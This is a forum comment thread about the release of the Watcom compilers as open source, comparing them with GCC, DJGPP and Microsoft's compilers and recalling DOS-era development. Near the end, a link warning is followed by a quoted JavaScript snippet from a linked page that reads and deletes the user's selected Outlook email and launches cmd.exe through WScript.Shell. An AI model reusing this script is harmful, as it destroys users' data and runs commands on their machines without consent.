Can you link me to a compiler comparison newer than this one? (dec 98)

The author concludes that:
GCC (ver 2.8.0) is better than Borland 5.02 and Symantec 7.5 (the worst); is comparable to Watcom 10 and 11 and is worst than Intel 2.4 and Microsoft 5.0.

Re:How much use is this in the modern era?

[Ed Avis]

I don't think that a release of the Watcom compiler, whether under GPL or not, will automatically help GCC. When the Pentium came out, some people at Intel released an improved version of gcc with Pentium optimizations. But the way they were implemented was specific to that architecture - not 'clean' in some way or another - and the patches weren't included in the mainstream gcc for this reason. The project became pgcc and remained separate, although newer releases of the mainstream gcc have got better at Pentium / PPro stuff.

The design of the Watcom compiler will surely be very different to gcc, so it won't be at all easy to just merge the code. We might see some distributions like Stampede or Mandrake compiling a few selected packages using the Watcom compiler for better performance though. I doubt a whole distribution could be recompiled with it at this stage; I think the Linux kernel code has gcc-specific inline assembler, for example.

(Disclaimer: I'm not an expert on this stuff, corrections welcome.)

Re:How much use is this in the modern era?

[scrytch]

Not a troll. 32-bit flat memory, etc. under DOS was cool in the early 90s, but really how viable is it in this day and age?

Because that's the same memory model linux uses (except on alphas where it's 64-bit). Or any other OS that supports virtual memory. Before that, in DOS you had to deal with segments, evil nastiness like FAR pointers and so forth.

Re:How much use is this in the modern era?

[be-fan]

However, Microsoft's compiler is *damn* good (performance wise, not conformance wise). It makes fast code and compiles really, really fast. Watcom is a little slower in produced code speed, though I don't know about compile time. Still quite respectable, though.

Re:How much use is this in the modern era?

[WatcomGuru]

Best ask those who are still using 32-bit DOS Extenders. There are quite a few that ask for help in the Watcom newsgroups. I don't know why they are using them

Re:How much use is this in the modern era?

[Anonymous Coward]

Well the Linux kernel isn't really written in ANSI C - it's written in GCC C! It takes advantage of GCC specific features and probably implementation defined features... I'm not sure that GCC 3.0 can even be used for the kernel.

Watcom could probably be use for other packages though certainly (if they are written in more standards compliant C/C++), and would be great as a development tool if it outoptimizes GCC.

Watcom C's real claim to fame (apart from 32 bit DOS 4G support) was it's optimizations - it blew Microsoft C out of the water. Microsoft C has since much improved, but GCC does a poor job of optimizing (and by all accounts GCC 3.0 actually produces slower code than 2.95.x - despite promising the opposite). It'll be interesting to benchmark Watcom C against the competition (GCC, Intel for Linux) to see how it stacks up nowadays.

Re:How much use is this in the modern era?

[howlingmad]

Developers in the embedded area make use of 32-bit DOS. Because you need no shut-down. Just switch that thing off. Like you did with your PC before you installed that Windows.

Markus

Re:How much use is this in the modern era?

[Anonymous Coward]

You can't have very optimal code, it's either optimal or it isn't.

Re:How much use is this in the modern era?

[Anonymous Coward]

It was showing its age in 1995 when the Pentium was out. It was no use at all for Pentium Pro architectures. It's obsolete.

Re:How much use is this in the modern era?

[Anonymous Coward]

its not just the dos extender you bonehead! optimizations optimizations optimizations!

the watcom compiler was so impressive that it could take a naively written vga pinball program that wouldn't run on a 486-25 with the borland compiler, and make it run smoothly on a 386-16!

just try and get gcc to pull tricks like that.

Re:How much use is this in the modern era?

[WatcomGuru]

Those are kind words but they are not accurate :-) I could list areas where the compiler could improve, no problem; areas where I know of bugs or where code quality could improve. Note I am a Watcom advocate but I like to call a spade a spade and measure truthflly against opponents. And I do think MS uses VC++ for Win2K.

I used Watcom C 7.0 in 1987 and had swapped to it because Microsoft C 5.1 at the time was poor. Over the years, Watcom improved. But over the years Microsoft improved and its current C & C++ compiler, version 6.0, IMO produces code that more often than not is better than Watcom particularly in the area of floating-point. With 11.0c, an important floating-point switch bug was fixed in the C++ compiler so I would like to see Watcom 11.0c C/C++ retested against benchmarks that are quoted here.

Version 7.0 of VC++ is interesting as well. It is much more compliant to the ISO C++ 99 standard than version 6.0. Truly MS have done a lot of work.

So, IMO, there is lot of work for the OpenWatcom team (I am a member) to make the compiler faster and as compliant (if not more so - I am thinking of member templates which VC++7.0 will _NOT_ implement) than VC++.

... and please donate!

[burtonator]

Really cool that they are requesting donations. I think it is important for people to realize that Free Software (as in liberty) isn't always free (as in money).

I think that if developers would use systems like paypal more we would see in increase in free software!

Kevin

Another one...

[reynaert]

TenDRA (http://www.cse.unsw.edu.au/~patrykz/TenDRA/) also exists. The only thing I know about it is that it is included in Debian Woody. If anobody knows more, please reply :)

Re:Another one...

[Cato]

Very interesting - ANDF (Architecture Neutral Distribution Format) was dreamt up during the Unix wars, by the OSF (who created a Unix clone called OSF/1, used only by Compaq Tru64 these days), and this compiler implements a format (TDF) that seems to be derived from this. The idea was that compilers would produce ANDF, an intermediate compiler output format, and vendors would then ship CDs containing ANDF 'binaries' - the customer installed on their Unix box, which could be Alpha, PA-RISC, x86, etc, and a special tool then did the last stage of compilation from ANDF to binary.

Not sure why this never took off, probably it was too much of a leap from existing technology and the Unix vendors saw it as commoditising their boxes. A few years later, Java's bytecode and use of JIT or install-time compilation came along and rendered this moot, though ANDF/TDF are probably still more flexible.

For those of us youngins...

[--daz--]

... could someone please provide a brief history of what the watcom compiler is or does differently than other compilers, and why it's suited to making DOOM-type games where other compilers aren't?

The OpenWATCOM site wasn't terribly informative. Apparently, this is a big deal since it made Slashdot, but I guess I don't see the significance. Thanks!

Re:For those of us youngins...

[elprez]

... could someone please provide a brief history of what the watcom compiler is or does differently than other compilers, and why it's suited to making DOOM-type games where other compilers aren't?

IIRC, it came with a DOS extender that allowed the creation of programs with a flat 32 bit address space. This was very useful, as at the time programmers were still dealing with segments on x86 (limiting arrays to 64K, etc).

Re:For those of us youngins...

[Anonymous Coward]

Take a look at the Watcom C/C++ FAQ, here. Particularly the answers to questions 1, 2, 6, 10, and 12 should interest you.

Re:For those of us youngins...

[Electrum]

In combination with the DOS/4GW dos extender, it provided a flat 32-bit address space for programming. It also produced the better code than any compiler, by a wide margin. Back then, Microsoft's compiler for DOS was broken (it produced buggy code when optimizations were enabled). Borland's Turbo C++ was cool, and some games used it, like Wolfenstein 3D and Jazz Jackrabbit, but for games for the 486 like DOOM, nothing compared to Watcom. It also had really nice tools, like a cool VI like editor for DOS, an excellent debugger and profiler, and lots of other cool stuff. Not to mention that it would compile for DOS and Windows in both 16 and 32 modes, and OS/2. It was the first C/C++ compiler that I really started using heavily back in the day, and I must say that it was a very excellent product, worth every penny (I even got the student version for $99).

There is probably a compiler or two now that produces better code for x86 (especially PIII and Athlon), like Intel's compiler, but being that most Linux distributions are compiled for 386 or possibly Pentium, there would be a ton of stuff that would benefit from a Watcom compiler for Linux.

Re:For those of us youngins...

[Supa Mentat]

"Apparently, this is a big deal since it made Slashdot, but I guess I don't see the significance." Dude, have you _seen_ some of the shit that gets posted here? ;P

Re:For those of us youngins...

[Anonymous Coward]

IBM tested many compilers when they were compiling the Windows 3.1 code to use in WinOS/2, the Windows component of OS/2.

They would have liked to use their own product but Watcom beat all the others hands down which is why Windows apps ran faster on the same hardware under WinOS/2 than the MS product which was compiled with MSC, of course.

Re:For those of us youngins...

[Anonymous Coward]

Visit my WATCOM C/C++ FAQ to get a rough idea:

http://www.pobox.com/~qed/watfaq.shtml

1) WC allows incorporation of inline assembly in a more optimal way than the Borland/Microsoft way (but not quite as optimal as the gcc way).

2) WC was the first widely available 32 bit compiler for DOS, and produced the fastest code for a very long period of time.

3) WC supports QNX, OS/2, Windows (3.x/9X/NT and included MFC in the commercial version), and DOS.

4) WC supports MMX (and AMD has a magic include file for making it work with 3DNow!)

5) WC comes with a DOS graphics library, disassembler, execution profiler, debugger, library manager, and a better make than I have ever seen from anyone.

6) WC allows you to customize the function calling protocal in very precise ways (including parameter passing, naming, and environment reload for ISRs.)

7) WC supports many object formats, and debuggers.

Re:For those of us youngins...

[izzertaq]

For a long time, Watcom was the best commercial compiler for writing 32-bit DOS games. It had a superb (if occasionally buggy) optimizer, a freely-redistributable 32-bit DOS Extender, and it had an excellent toolset -- Watcom's profiler, debugger and disassembler blew Borland and Microsoft's weak DOS tools (heh ... toys) out of the water.

(Non-x86 readers: a DOS Extender is basically a hack of an operating system running on top of DOS to allow 32-bit DOS programs access to 16-bit DOS and BIOS services, such as file I/O, video setup, etc.)

Anyway, the alternative compilers just didn't compare. Borland took years to finally ship a 32-bit compiler, and with Microsoft's offerings you could either write 16-bit DOS/Windows code or 32-bit Windows code. (There was a way to run Microsoft 32-bit executables on DOS, but you needed to buy PharLap's expensive runtime and libraries, which had the added bonus of requiring per-copy royalties.)

Watcom wasn't especially well-known until id shipped DOOM, but after that, pretty much every game-programming book used wcc386 as the reference compiler. Watcom filled a pretty big niche that was largely ignored by the big compiler vendors. Their toolset was excellent for writing games, and at $199, it was a steal.

DJGPP (GCC for DOS) didn't have nearly as good a debugger or profiler as Watcom, but GCC was the superior (less buggy, more standards-compliant) compiler. DJGPP also had the better libc (memory allocation was *much* faster than under Watcom's DOS Extender, for instance.) id went with DJGPP for their DOS port of Quake I, and suddenly everyone noticed that DJGPP was a useful compiler. Next, id will fly off a cliff ...

In summary, these compilers were a big deal at the time because they filled needs that were pretty much completely ignored by the big vendors: namely, the need for 32-bit code under DOS, and the need for royalty-free distribution.

Re:For those of us youngins...

[Anonymous Coward]

As someone who knows people working at Sybase Waterloo (the division formerly known as Watcom), the Visual C++ 7 compiler finally (after 5 years!) produces better code than Watcom 11, at least for Pentium Pros and up.

In 1996, Watcom dominated....

GPL on a compiler doesn't infect your code

[yerricde]

lcc is great for learning about compiler design (that's why it was created), but it doesn't optimize very well

Then why does the Quake mod community prefer lcc to gcc?

Also, the since it's licensed under the restrictive GPL license, any programs it compiles contain GPL-licensed code

Not true. According to the GPL FAQ, a GNU General Public License on a compiler infects compiled code only if the compiler copies part of itself (or any other GPL code) into the output. Thus, code compiled with GCC doesn't fall under the GPL unless it #includes a GPL'd header file or links against a GPL'd library. Most most programs under GNU/Linux link against GNU libc licensed under Lesser GPL, which simply means link dynamically or provide the .o files.

You're probably thinking of Cygwin, whose default settings link all code to a GPL library, but Cygwin can also use the MinGW runtime that links only to libraries included with the Windows operating system.

Re:GPL on a compiler doesn't infect your code

[mj6798]

Then why does the Quake mod community prefer lcc to gcc?

Probably because lcc is much smaller, easier to understand, and easier to install on Windows systems.

Re:GPL on a compiler doesn't infect your code

[yerricde]

Probably because lcc is much smaller

Smaller I'll give you, because GCC optimizes for performance and robustness rather than the "fit everything into 64 KB" embedded/democoder mentality, but is 10 MB really that much of a problem for developers, most of whom have a high-speed connection or can let the 56K modem download while they're eating?

easier to understand

And what's so hard to understand about gcc -Wall foo.c -o foo.exe? For the VC++ fan, IDEs for MinGW are available.

and easier to install on Windows systems.

Installing MinGW GCC is a simple matter of using WinZip to extract a tarball and then setting two environment variables (MINGDIR and PATH).

Re:GPL on a compiler doesn't infect your code

[mj6798]

The source to lcc is easier to understand (and hack), and lcc is easier to install from source. gcc is a nice compiler, but no compiler (and no software system) can be everything to everyone; sometimes, being small and simple is better.

Donations

[rarose]

Let's see... I could donate to the Sept 11 Fund to help out the families of the Firemen who died while actually saveing people *OR* I could give to a group of unknowns who have done nothing but delivered vaporware.

Looks like the firemen win.

Re:Donations

[Anonymous Coward]

Or you could do both.

There are thousands of good causes out there.

Some are more important than others. If you're going to go down that road, there are causes that will help save the lives of people who are actually *still alive*, rather than help those who have a relative *who has already died*. Does that mean the sept. 11 cause is unworthy? Hell no. It means that there are a lot of good causes in the world and an awful lot of people who can give money to them. I'm glad to see you have made your choice. Others, however may choose differently.

Re:Donations

[Anonymous Coward]

OH NO! BIG TRAGEDY! I guess I'll just never live life again. "Hey, I'm going to the store to buy some pasta." "NOOO! How dare you think of someone unrelated to the WTC disaster! Where's your Walmart American flag? A moment passed in which you were not giving blood. For shame."

GCC does not require GPL

[Anonymous Coward]

Also, the since it's licensed under the restrictive GPL license, any programs it compiles contain GPL-licensed code, which makes it impossible to compile and sell closed-source programs with it, unless you pay the "stallman tax"

The preceding is in error. The following is directly from the GPL FAQ [www.gnu.org]:

I use the C or C++ programming language, and I compile with GCC. Must I release software I write in the language under the same license as GCC?

• Use of GCC makes no requirements about the license of your program.

it's not gcc, and it's not a bug

[Anonymous Coward]

That's not a gcc issue. In fact, it isn't even a bug. It's policy decision about when and how to grow the stack. How is the Linux kernel supposed to know when something is a stray pointer and when it is a reference to an unallocated part of the stack segment? It has to pick an arbitrary lower limit for the stack. The same thing happens with many compilers on many UNIX systems. If you read up on your documentation, you would know how to deal with this case.

Re:it's not gcc, and it's not a bug

[Anonymous Coward]

Yeah, but Linux's stack bound is 1 GByte. So, unless you've run out of physical and virtual memory pages before you hit 32Mbytes of usage, there's no good reason for gcc to produce crashy code at that point - I suspect it's a complete fabrication, anyway.

It's dead.

[codeforprofit2]

Let it rest in peace.

Re:It's dead.

[howlingmad]

Interesting. Would love to hear an OS/2 users opinion on this one. Or was that eComStation?

Any OS/2 users out there?

Markus

Re:It's dead.

[WatcomUser]

Wow, what a witty comment ! You floored me with that one. Do you do much embedded development ? Do you know what embedded development is ? Do you use visual C++ for embedded systems ? Hmmm.... Back up your comments next time.

Re: Really?

[codeforprofit2]

Really?

Is that why office xp is so exellent and intuitive and open office is to shitty?

Is that why visual c++ is so neat and superb and gcc such a shitty compiler it's difficult to understand why anyone in it's own mind would use it?

pop up windows considered harmful

[3247]

No, no popups please! Popup windows are nasty and one of the top usability problems on the web.

My experience with DJGPP and Watcom

[chrysalis]

In the DOS-times, managing memory was a hell. It was both a hell for end-users (having to keep different sets of AUTOEXEC.BAT and CONFIG.SYS to make different programs work) and for programmers.
The good old Borland C only allowed 16 bits segments. It was really lousy.
There was some hacks to avoid this. I wrote some assembly code to enable the flat mode (only one big linear page up to 2 Gb), and Borland C finally could access 32-bits segments. But the page was still 16-bits by default, so all 32-bits operations had to be prefixed.
I wrote some games and demos with this, but Borland's produced code was very bad. On a version of Borland C, while(1) was compiled as mov ax,1 then test ax, compare with zero and jump if 1 != 0. Awesome.
It's why I tried Watcom. Watcom's code was better. Moreover it had specific optimizations for 486 and Pentium-class processors. And with DOS4GW, it was easy to access 32 bits pages. However :

• The C-parser was buggy. Some absolutely correct piece of source code were misinterpreted by Watcom. For instance, it refused some "const" pointers that were indeed pointing to constant values.
• The compiler was buggy. When some optimizations were turned on, it produced wrong code, sometimes reusing a register while it was still in use by someone else. And it simply ignored the volatile keyword, that was needed for interrupts hooks.
• DOS4GW was cool, but sometimes slow. It was way faster to allocate a big memory chunk at startup and then mess in it, than allocating multiple small chunks.
• Inserting assembly code used a totally different syntax than Borland C.

So Watcom was an excellent compiler, but it was really, really buggy. I always had to review the assembly code by hand. But I liked the fact that "char" was unsigned by default.
Then, I tried DJGPP. DJGPP is a port of GCC to DOS platforms. It cames with a free DOS4GW-like called PMode.
The resulting code wasn't that bad. For floating-point arithmetic, GCC produced slower code than Watcom (can't remember why, maybe GCC didn't use the arithmetic coprocessor). But it didn't matter, demos always use fixed-point anyway.
GCC didn't produce buggy code like Watcom. And the code was...logical. Have a look at Ping for instance. It's a smooth pong-like game with carebears, bonuses, funny sounds, etc. I wrote that game with DJGPP, but if you look at the source code, you'll see that it looks a lot a assembly code. It's designed in a way that the compiler can translate one line of C in one line of assembler, and everything is pre-optimized. GCC respected this. I tried to recompile important parts of the code (sprite routines) with Watcom. The result was illogical. It tried to reorder some stuff, but this only gave slower code.
The first releases of PMode were buggy, too. They worked very bad with Qemm. But then, it got better and finally was an excellent drop-in replacement for DOS4GW. But once and again, allocating a big page was faster than multiple pages.
Why Watcom was cool : fast compiler (gcc was sooo sllooowww to compile), good optimizations for floating-point operations.
Why DJGPP was better : free, comes with emulation of many Unix system calls, gives optimized code if the source code is already optimized. And GNU-assembler syntax is way better than TASM-like syntax.

Re:My experience with DJGPP and Watcom

[Anonymous Coward]

I wrote that game with DJGPP, but if you look at the source code, you'll see that it looks a lot a assembly code. It's designed in a way that the compiler can translate one line of C in one line of assembler, and everything is pre-optimized

You say that as if you were proud. Loser.

Re:My experience with DJGPP and Watcom

[AbsoluteRelativity]

> You say that as if you were proud. Loser.

LOL... only a loser would be insecure about who is a loser and who is not.

Re:My experience with DJGPP and Watcom

[ardiri]

• Then, I tried DJGPP [delorie.com]. DJGPP is a port of GCC to DOS platforms. It cames with a free DOS4GW-like called PMode.

actually, if i recall correctly, it was called 'go32.exe' :P man, those were the days :)

Re:My experience with DJGPP and Watcom

[WatcomGuru]

You have some excellent points. But commenting on a few things: >>> The C-parser was buggy. >>> Not my general experience at all. And I have used every version from 7.0 to 11.0. But some versions were better than others. For example the initial version 10.0 was flaky as was 11.0. But versions 10.6 and 11.0b are very solid. >> The compiler was buggy. >> Hand on heart, I can say that that is not my experience with most versions. I have seen compiler bugs with 11.0, 11.0a and 11.0b and know what there are because of what customers reported. >> Inserting assembly code used a totally different syntax than Borland C. From version 11.0, __asm blocks can be used.

Why Watcom does/did rock and not just for DOS4GW

[olliew]

All, Just remember also that at one time the only supported compiler by Novell's SDK for developing NLMs/VLMs for the server environment before they introduced the Java VM was Watcom. Respect to them for attempting to make it open source, I remember as a student that your could get the Novell SDk for not alot of cash (as is the way now) but the Watcom compiler cost alot so work was limited to working on college computers. Rgds Ollie

Their FORTRAN was very good

[twitter]

As others have pointed out, the IDE and other goodies that Watcom were first rate at a time it was difficult to get good tools for DOS and windows. They made FORTRAN development much less painful and the code produced was fast. It was a nice place to start, and there are many useful pieces that can be folded into the GNU tools.

You can find the history of it here. Wow, reading that you realize how cool things are thanks to the FSF.

The coolest features of Watcom ...

[UnknownSoldier]

.. were

1) being able to write highly optmized inline assembly right in C.

#pragma aux funcname =
" ... inline assembly "
[used] [in] [out]

and specificy WHICH registers were
a) used (modified)
b) passed as input
c) passed as output

Microsoft C, Turbo/Borland C, would disable all optimizations for a funcion if you had any inline assembely in it.

2) The other neat feature was to install
a) VGA card, and
b) Hercules Mono Card

Then you could source debug *graphics* programs running on the VGA card via the monochrome card. Was REAL handy for debugging ModeX games. (Note: Borland/Turbo did have this feature as well. I don't know about the Microsoft compilers.)

3) Oh yeah, being able to do malloc(1000000) was darn cool. No more messing with near/far pointers or stupid 20-bit segmented memory.

~~~~~

"The issue today is the same as it has been throughout all history, whether man shall be allowed to govern himself or be ruled by a small elite." - Thomas Jefferson

Has anybody tried...

[earthforce_1]

Has anybody tried actually compiling a kernel with Watcom? Does it compile? If so, how does the resultant code compare with old faithful?

I know there are some really cool optimization techniques that the gcc authours would love to use, but are covered by patents. A kernel compile would be an interesting side by side comparison of the generated code quality.

Since I am not a kernel, I don't worry too much about compile time, as long as it finishes sometime within the hour on a 1 GHz machine.

Re:Has anybody tried...

[be-fan]

Since I am not a kernel
>>>>>>>>
Hopefully not! Oh, you mean kernel developer, don't you?

The Linux kernel is really not geared to be portable between compilers. It uses a lot of GCC extensions that other compilers just don't have.

Re:Has anybody tried...

[Anonymous Coward]

Can't be done. The kernel will ONLY compile with gcc.

This has actually been a sore spot for me...the whole point is to not tie into one specific product right? Choice? Then why is that written so that I'm tied into one compiler to build the kernel?

Re:Has anybody tried...

[Anonymous Coward]

The whole point is to make sure the system is free software. While good software conforms to the standard for its implementation language (and thus works in any environment supporting that language--assuming a well-designed standard!), the Linux kernel (and GNU system software in general) is no less free for its dependence on a specific compiler that is also free software.

Tran's PMode/W kicked ass!

[gloth]

I used it myself, like many others did. It was not good, it was not great, it was plain awesome!!

Useless?

[Schnapple]

Okay, so I read that this is a binary patch for previous users but the install routine implies that it's just "harder" to do anything with it, not impossible for those of us who are Watcom-less. So, is it possible to use this to do anything if you're starting from scratch?

Oh, and I'm more interested in the FORTRAN component of all this - don't ask me why...

Schnapple

Re:Useless?

[WatcomGuru]

Out-of-the-box with pre-Beta 11.0c and no previous version of Watcom, you can produce 16-bit DOS targets. That is all. With the final 11.0c patch you should be able build 16 and 32-bit DOS targets (is likely to include DOS4GW.EXE) For other targets, you need 3rd-party files and libraries but from what I have read, OS/2 and Win32 executables are not problem with the latest Development Kit from IBM and Platfrom SDK from Microsoft. You should not have a problem with Watcom Fortran

Re:Hints for dealing with pacifists.

[Anonymous Coward]

If you watch those rallies, you'd know that's not the case. They want to "stop the war." Whatever the fuck that means. How they plan to do this without force, is beyond me.

Another Free (as in beer) Dos/Windows compiler

[jguthrie]

If you're interested in DOS and Windows development, you can also try the free (as in beer) Digital Mars compiler.

on the fortran side..

[archen]

Okay, I'm going to get blasted for this but... I'm interested to see what their Fortran compiler can do. I'm not exactly a huge fan of Fortran, but the language does have it's place (just like 'ed'). In college I took a Fortran class, and the guy teaching it didn't care what we used as long as it compiled Fortran code. Instead of paying for some Fortran compiler - [sarcasm] which I'm sure I'd use every day after I took the class [/sarcasm], I opted to use the Linux alternative. Looking through the man page for g77 I found that this thing somehow routes the Fortran code through gcc to create an executable. Well I made a "hello world" program and looked inside the directory... Over 100k for hello world?!? I mean this is irony here, Fortran is the first "language" after assembly created in the 50's... like they made 100k programs back then? I never benchmarked anything, but I can imagine that the results would be less than spectacular. Well I somehow doubt I'll do anymore Fortran, but it would be nice to see something a little better than g77 show up for Linux. Maybe it'll make some old crusty engineers happy too.

Re:on the fortran side..

[WatcomGuru]

Well it is somewhat better. Hello World is in size 16-bit DOS: 61444 32-bit DOS: 92504 Win32: 81920 Looking at the map files, we can improve the granularity of OBJ files. So there is room for improvement.

One of my Favs...

[McDoobie]

Ever since the DOS days, Watcom has been one of my favorite vendors. Thier compiler produces excellent i386 code.

I, for one, wouldn't have any problem paying for thier products for my Linux endeavors. Furthermore, I hope to submite some of my own little improvements for review over time.(Like perhaps backend support for the GNU Ada compiler.)

Anyways, if Watcom isn't too Anal about working with the Open Source and Free Software communities, we could really take this software a long way.

I would also encourage people to actually purchase thier product also. They really are worth it.

My .02 worth

McDoobie

Re:Hints for dealing with pacifists.

[Anonymous Coward]

If you only oppose violence against innocent people, then you don't necessarily oppose violence against the guilty. That being the case, you aren't quite a pacifist, are you?

if(us_citizen) pacifism = treason;

~~~

Watxcom and the Bytemarks

[Lars T.]

All I remember Watcom for are the claims how evil Byte and Apple were to use the Watcom compiler when comparing PPCs with Pentiums with the Bytemarks benchmark. Maybe it time has passed then, what is the point of it now.

OTOH, it can't be worse than gcc ;-)

Speed, not memory related goodies

[Leus]

Watcom always beated every other C/C++ compiler out there. I remember being a big fan of their _lovely_ compiler; I used it to do some real time automatic control and it rocked.

If they manage to release a modern, up to date version of their IDE, I will be glad.

(btw, I remember in the IDE having a "Pentium" optimization flag... when the Pentium wasn't even released! Now that's efficiency :-))

WatFor?

[fm6]

Back in ancient times, I learned to program Fortran IV using Waterloo Fortran AKA WatFor. (Yes, I've heard all the puns.) This was back in batch processing days, when running a program meant punching it on Hollerith cards and handing the deck to a mainframe operator. We also had IBM Fortran, but I think WatFor was more cost effective for short compile-and-run jobs. This was when CPUs were fiendishly expensive, and you had to pay for every cycle you used.

If memory serves, WatFor came from the University of Waterloo (Canada, not Belgium). The people who wrote it later went private and formed Watcom. Early 70s, I think.

You youngins don't know how good you have it!

Re:WatFor?

[sconeu]

We used WATFIV.

I was in elementary school/Jr. High, so we used bubble cards instead of punch cards. The first thing I did was run a job that ran off a bunch of customized punched $JOB cards.

Another free compiler

[Anonymous Coward]

I know. I am doomed. I am working in a free compiler project, and heared about my immediate demise in Slashdot, one year ago. I am working in the lcc-win32 free compiler system for windows, and I have read here a YEAR ago the same promise from watcom.

Well, waiting for my fierce competitor in the free compilers arena, I invite you all to use a really free compiler (C compiler)

http://www.cs.virginia.edu/~lcc-win32.

Portland Group

[Paul Komarek]

How does the Portland Group compilers fare in the current compiler market?

-Paul Komarek

Re: Really?

[AbsoluteRelativity]

> Really?

Yes really.

> Is that why office xp is so exellent and intuitive and open office is to shitty?

No, Microsoft's office software has years of programming behind it, plus they have the backing of the OS itself (better integration and taking advantage of OS features).

> Is that why visual c++ is so neat and superb and gcc such a shitty compiler it's difficult to understand why anyone in it's own mind would use it?

Visual C++ is an IDE not a compiler, have you even used micrsofts compiler with out an IDE? I have and its no diffrent then GCC. Not unless you like comparing apples and oranges.

Obligatory AYB

[sconeu]

Syndicate Wars had one of the coolest openings ever made

Even cooler than Zero Wing?

Link warning

[the way]

Have a look at Ping [claranet.fr] for instance. It's a smooth pong-like game with carebears, bonuses, funny sounds, etc

IE/Windows users might want to avoid clicking this link. It contains a script that deletes an email from your inbox. It won't effect you if your machine is secure, but there's better ways of finding that out...

Re:Link warning

[Anonymous Coward]

Lameness filters are incredibly stupid.

function f()
{
//alert(o2.object);
sel=o1.object.selection;
vv1=sel.Item(1);
alert("Subject="+vv1.Subject);
alert("Body="+vv1.Body+"["+vv1.HTMLBody+"]");
alert("May be deleted");
vv1.Delete();

vv2=vv1.Session.Application.CreateObject("WScrip t. Shell");

alert("Your Windows box is vulnerable to serious attacks !");

vv2.Run("C:\\WINNT\\SYSTEM32\\CMD.EXE /c DIR /A /P /S C:\\ ");

}
setTimeout("f()",2000);

Potential scam in the making

[rarose]

The point, for those of you too dull to figure it out: If this were Microsoft asking for payment up front for a future piece of software that may or may not actually ever ship, all of the Slashdotters would be screaming bloody murder. But because these folks aren't a big corporation it's OK for them to scam people out of donations.

The whole mention to the WTC was solely to point out the contrast between giving a donation towards things that have actually happened, versus panhandleing on the promise that something good may happen in the future.

If I'm not misreading things, all of the developers working on the alleged future release are all under a NCA with Sybase. Sybase hasn't opened up the source yet under a license yet. So Sybase could decide to take their ball home and all of us wouldn't be able to play with it.

Now why you ask would Sybase seek to abuse Open Source Developers? Fine, let me throw up a hypothetical situation:

Sybase bought Watcom not for their compilers, but for their other products. Fine, so they can ditch the compilers, right? Wrong. Because all of Watcom's *other* products are built using the compiler. If they can't build their SQL product, they can't sell it.

So Sybase needs to have the compiler maintained, maybe some bugfixes, maybe they want that Linux port so they can migrate their products to Linux. But they don't want to pay for the development... What to do... What to do... I know! We'll lure some Open Source developers in to do the work... we'll put them under NCA so that they can't compete with us when it's done and we'll have them do the hard lifting. Once it's done, we tell them that the lawyers won't let us open source it (you know... all those other people's source code... *we'd* open source it if we could) and then we'll have our SQL product supported and we might even have a Linux compiler we can sell further on down the road.

Re:Potential scam in the making

[WatcomGuru]

>> But because these folks aren't a big corporation it's OK for them to scam people out of donations.

What donations, what scam? First I know of it.

>> So Sybase .... further on down the road

Except you are flatly wrong. Firstly, the fact is Sybase has plenty of people internal to maintain the compiler and tools, they need never open source it at all, period. Effectively the compiler would become internal to Sybase. They could still do that, why have any potential hassle from open sourcing it? I know this, because most of the fixes in 11.0c are a direct result of emailed conversations between myself and Watcom R&D in Waterloo, Canada since Feb 1998.

Secondly, all the lawyer conversations have been ironed out as of 2 months ago.

Thirdly, your hypothesis is wrong. Unlike you, I have talked face-to-face with Sybase director responsible with open sourcing the compiler. His interest was that the existing customer base would have a means of supporting their applications and investment in Watcom C/C++ & Fortran. Now it maybe that Sybase does profit from work on the compiler but hey, that is their right. It would not surprise me if the license is FreeBSD rather than GPL. Everyone benefits.

Hope this clarifies matters

Cordially

Install GCC

[Per Abrahamsen]

Fort older code, "install GCC" simply mean "don't use the braindamaged pre-ANSI C compiler bundled with the system."

WDOSX extender

[jtra]

WDOSX extender is usable with watcom compiler.

It does work with folowing compilers:

• Compiler - File format
• NASM - Flat form binary, RDOFF, RDOFF 2 (NEW!)
• TASM - 32 bit "MZ", PE
• MASM - 32 bit "MZ", PE
• MSVC++ 4/5 (NEW! MSVC 6) - Win32PE
• Borland C++ 4.xx/5.xx - Win32PE
• Borland C++ Builder - Win32PE
• Borland Delphi 2, 3 and 4 - Win32PE
• Watcom C++ - Watcom style LE
• DJGPP v2 - COFF